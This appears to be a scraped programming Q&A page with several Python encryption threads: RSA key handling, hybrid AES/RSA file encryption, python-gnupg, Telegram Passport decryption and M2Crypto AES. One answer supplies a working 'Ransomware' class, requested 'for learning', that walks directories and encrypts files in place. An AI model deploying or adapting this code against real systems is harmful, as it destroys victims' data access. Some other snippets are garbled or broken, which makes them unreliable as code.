I try to implement RSA in Python with pycryptodome, the encrypt Works fine but the decrypt function no, my code is the following:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature import pss
from Crypto.Hash import SHA256
class RSA_OBJECT:
def create_KeyPair(self):
self.key = RSA.generate(self.KEY_LENGTH)
def save_PrivateKey(self, file, password):
key_cifrada = self.key.export_key(passphrase=password, pkcs=8,protection="scryptAndAES128-CBC")
file_out = open(file, "wb")
file_out.write(key_cifrada)
file_out.close()
def load_PrivateKey(self, file, password):
key_cifrada = open(file, "rb").read()
self.private_key = RSA.import_key(key_cifrada, passphrase=password)
def save_PublicKey(self, file):
key_pub = self.key.publickey().export_key()
file_out = open(file, "wb")
file_out.write(key_pub)
file_out.close()
def load_PublicKey(self, file):
key_publica = open(file, "rb").read()
self.public_key = RSA.import_key(key_publica)
I don't know why, because I think that the code is correct, anyone can help me?
Your problem you generate two different keys;
self.public_key = RSA.generate(self.KEY_LENGTH)
self.private_key = RSA.generate(self.KEY_LENGTH)
you should;
key = RSA.generate(self.KEY_LENGTH)
and
private_key = key.export_key()
file_out = open("private.pem", "wb")
file_out.write(private_key)
public_key = key.publickey().export_key()
file_out = open("receiver.pem", "wb")
file_out.write(public_key)
See here in more details;
Note: note that key object has two functionality due to public keys encryption. You can write a private key into a file and public key into another. In this way, you can distribute the key. See RSAKey.
Related
Basically, i am trying to encrypt 3 files in a folder with hybrid encryption, AES CBC. Successfully encrypted all the files, but having issues decrypting. The requirements for the task is:
2 seperate files, one for encrypting and one for decrypting
IV is 24 characters
IV can be hardcoded ,all files can use the same IV in or randomised (i randomised mine)
So far, only the last file is decrypted properly, the first 2 is giving me a ValueError error. However when i printed out the IV, it seems to be correct. Can someone advise me on this?
Encryption code
`#!/usr/bin/env python3
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import glob
for item in glob.glob("*.txt"):
skey = get_random_bytes(16)
recipent_key = RSA.import_key(open("receiver.pem").read())
file_out = open("encrypted_key.bin", "wb")
cipher_rsa = PKCS1_OAEP.new(recipent_key)
enc_data = cipher_rsa.encrypt(skey)
file_out.write(enc_data)
file_out.close()
data_in = open(item, 'rb')
data = data_in.read()
data_in.close()
cipher = AES.new(skey, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')
skey = b64encode(skey).decode('utf-8')
print(iv, ct, skey)
datain = (iv, ct)
Fileout = open(item,'w')
Fileout.writelines(datain)
Fileout.close()
`
Decryption code
`#!/usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import os
import glob
for item in glob.glob("*.txt"):
file_in = open("encrypted_key.bin", "rb")
private_key = RSA.import_key(open("private.pem").read())
enc_data = file_in.read(private_key.size_in_bytes())
cipher_rsa = PKCS1_OAEP.new(private_key)
skey = cipher_rsa.decrypt(enc_data)
file_in.close()
in_file = open(item, "r")
data = in_file.read()
in_file.close()
print(data[0:24])
try:
iv = b64decode(data[0:24])
ct = b64decode(data[24:])
cipher = AES.new(skey, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
output = str(pt, 'utf-8')
print("the message was: ", output)
Fileout = open(item,'w')
Fileout.writelines(output)
Fileout.close()
except ValueError:
print("Incorrect decryption")
except KeyError:
print("incorrect key")
`
please send help :"")
EDIT: i realised, every round my loop goes, my key also randomise. that's the problem, i solved it :")
I am working on Ransomware for learning.
So I Copy-and-pasted this and edited it like this
but When I encrypt and decrypt a text file, it appends a string that looks like a random string. How can I fix this issue?
like:
Hello, World!
to
Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==
with this keyfile:
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
the problem is that you encrypt then decrypt. Your encryption and decryption function is working fine the issue is that you always seek to the beginning of the file to write any changes this will work fine with encryption and will work fine with decryption if the the plaintext and ciphertext is of same size(no padding) but will place decrypted plaintext that is not as same same size of ciphertext at beginning of file and leave the rest of file unchanged so you need to truncate the remainder part of ciphertext.
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()
I'm trying to use the Python gnupg package from here to do GPG encryption. I wrote some sample code to make sure I was using the API correctly but most of the existing examples of the package use a home directory. I'd like to be able to import/export the keys and interact with the API through that.
My test code is below:
def doEncryptFile(pubKeyFile, inDataFile):
f = open(pubKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"r")
decData = f.read()
f.close()
encrypted = gpg.encrypt(decData, public_key['fingerprint'])
print("encrypted?")
print(str(encrypted.ok))
print(str(encrypted.status))
print(str(encrypted))
return str(encrypted)
def doDecryptFile(privKeyFile, inDataFile, privPass):
f = open(privKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"rb")
decData = f.read()
f.close()
decrypted_data = gpg.decrypt(decData, passphrase=privPass)
print("decrypted?")
print(str(decrypted_data.ok))
print(str(decrypted_data.status))
gpg = gnupg.GPG()
key = do_key_generation(gpg, "helloWorld")
print(str(type(key)))
private_key = gpg.export_keys(key.fingerprint, True, passphrase="helloWorld")
public_key = gpg.export_keys(key.fingerprint)
with open('sample_public.asc', 'w') as f:
f.write(public_key)
with open('sample_private.asc', 'w') as f:
f.write(private_key)
doEncryptFile(r"sample_public.asc", "sampleDecryptedData.txt")
doDecryptFile(r"sample_private.asc", "sampleEncrypted.txt", privPass="helloWorld")
In the above example I manually copied the encrypted text to sampleEncrypted.txt. The key generation function is taken from here. When using it this way, the encryption works as expected and I get the ASCII-encoded blob.
However when trying to decrypt the file the decryption fails. If I do not provide the passphrase I get a prompt from OpenPGP telling me to enter my password, so it's at least partially working, but the decryption fails and the status message is just "decryption failed". If I try to manually enter the "helloWorld" password in the pinentry-qt GUI the error message is "Bad Passphrase". I've also tried using decrypt_file with input file containing the ASCII blob as described on the python-gnupg page, to the same result.
I'm on Python 3 on a Windows system if that makes a difference. I'll also note that when using gpg through the command line everything works as expected.
You forgot to save the outputs to a file.
I added the output= options to the gpg.encrypt and gpg.decrypt, and of course to your functions.
import gnupg
def do_key_generation(gpg, passphrase = "helloWorld"):
input_data = gpg.gen_key_input(
name_email='me#email.com',
passphrase=passphrase,
)
key = gpg.gen_key(input_data)
print(key)
return key
def doEncryptFile(pubKeyFile, inDataFile, outputDatafile):
f = open(pubKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"rb")
decData = f.read()
f.close()
encrypted = gpg.encrypt(decData, public_key['fingerprint'],output=outputDatafile)
print("encrypted?")
print(str(encrypted.ok))
print(str(encrypted.status))
print(str(encrypted))
def doDecryptFile(privKeyFile, inDataFile, privPass,outputDatafile):
f = open(privKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"rb")
decData = f.read()
f.close()
decrypted_data = gpg.decrypt(decData, passphrase=privPass,output=outputDatafile)
print("decrypted?")
print(str(decrypted_data.ok))
print(str(decrypted_data.status))
gpg = gnupg.GPG()
key = do_key_generation(gpg, "helloWorld")
print(str(type(key)))
private_key = gpg.export_keys(key.fingerprint, True, passphrase='helloWorld')
public_key = gpg.export_keys(key.fingerprint)
with open('sample_public.asc', 'w') as f:
f.write(public_key)
with open('sample_private.asc', 'w') as f:
f.write(private_key)
doEncryptFile(r"sample_public.asc", "sampleFile.txt","sampleEncrypted.txt")
doDecryptFile(r"sample_private.asc", "sampleEncrypted.txt", privPass="helloWorld", outputDatafile="sampleDecrypted.txt" )
Using https://core.telegram.org/passport#decrypting-data, I've come up with the following function:
import hashlib
from base64 import b64decode
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
def decode_credentials(credentials):
data_encrypted = b64decode(credentials['data'])
credentials_hash = b64decode(credentials['hash'])
secret_encrypted = b64decode(credentials['secret'])
with open(f"private.key", "r") as f:
private_key = RSA.importKey(f.read())
secret_decrypted = private_key.decrypt(secret_encrypted)
secret_hash = hashlib.sha512(secret_decrypted + credentials_hash).digest()
aes_key = secret_hash[:32]
aes_iv = secret_hash[32:48]
aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
data_decrypted = aes.decrypt(data_encrypted)
data_decrypted_hash = hashlib.sha256(data_decrypted).digest()
if data_decrypted_hash != credentials_hash:
raise Exception("HASH MISMATCH")
return data_decrypted[data_decrypted[0]:]
Following code always raises HASH MISMATCH for me, hence the question: What's wrong with the code?
Has anybody come up with the working solution that they can share?
The problem was in this lines:
with open(f"private.key", "r") as f:
private_key = RSA.importKey(f.read())
secret_decrypted = private_key.decrypt(secret_encrypted)
I don't know the difference, but the correct is:
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.hashes import SHA1
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric.padding import MGF1, OAEP
with open(f"private.key", "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend(),
)
secret_decrypted = private_key.decrypt(
secret_encrypted,
OAEP(
mgf=MGF1(algorithm=SHA1(), ),
algorithm=SHA1(),
label=None,
)
)
Found the solution at https://github.com/python-telegram-bot/python-telegram-bot/commit/a09394b218d3ae05dc1a1f74e782c701283fb82b#diff-eaefd62d25b87433b035868713d3437aR39.
Still would appreciate if someone would have explained me my mistake.
Can someone provide me code to encrypt / decrypt using m2crypto aes256 CBC using Python
M2Crypto's documentation is terrible. Sometimes the OpenSSL documentation (m2crypto wraps OpenSSL) can help. Your best bet is to look at the M2Crypto unit tests -- https://gitlab.com/m2crypto/m2crypto/blob/master/tests/test_evp.py -- look for the test_AES() method.
Take a look at m2secret:
Small utility and module for
encrypting and decrypting data using
symmetric-key algorithms. By default
uses 256-bit AES (Rijndael) using CBC,
but some options are configurable.
PBKDF2 algorithm used to derive key
from password.
I use following wrapper around M2Crypto (borrowed from cryptography.io):
import os
import base64
import M2Crypto
class SymmetricEncryption(object):
#staticmethod
def generate_key():
return base64.b64encode(os.urandom(48))
def __init__(self, key):
key = base64.b64decode(key)
self.iv = key[:16]
self.key = key[16:]
def encrypt(self, plaintext):
ENCRYPT = 1
cipher = M2Crypto.EVP.Cipher(alg='aes_256_cbc', key=self.key, iv=self.iv, op=ENCRYPT)
ciphertext = cipher.update(plaintext) + cipher.final()
return base64.b64encode(ciphertext)
def decrypt(self, cyphertext):
DECRYPT = 0
cipher = M2Crypto.EVP.Cipher(alg='aes_256_cbc', key=self.key, iv=self.iv, op=DECRYPT)
plaintext = cipher.update(base64.b64decode(cyphertext)) + cipher.final()
return plaintext
def encrypt_file(key, in_filename, out_filename,iv):
cipher=M2Crypto.EVP.Cipher('aes_256_cfb',key,iv, op=1)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(b)
while True:
buf = infile.read(1024)
if not buf:
break
outfile.write(cipher.update(buf))
outfile.write( cipher.final() )
outfile.close()
infile.close()
def decrypt_file(key, in_filename, out_filename,iv):
cipher = M2Crypto.EVP.Cipher("aes_256_cfb",key , iv, op = 0)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
while True:
buf = infile.read(1024)
if not buf:
break
try:
outfile.write(cipher.update(buf))
except:
print "here"
outfile.write( cipher.final() )
outfile.close()
infile.close()
When it comes to security nothing beats reading the documentation.
http://chandlerproject.org/bin/view/Projects/MeTooCrypto
Even if I took the time to understand and make the perfect code for you to copy and paste, you would have no idea if I did a good job or not. Not very helpful I know, but I wish you luck and secure data.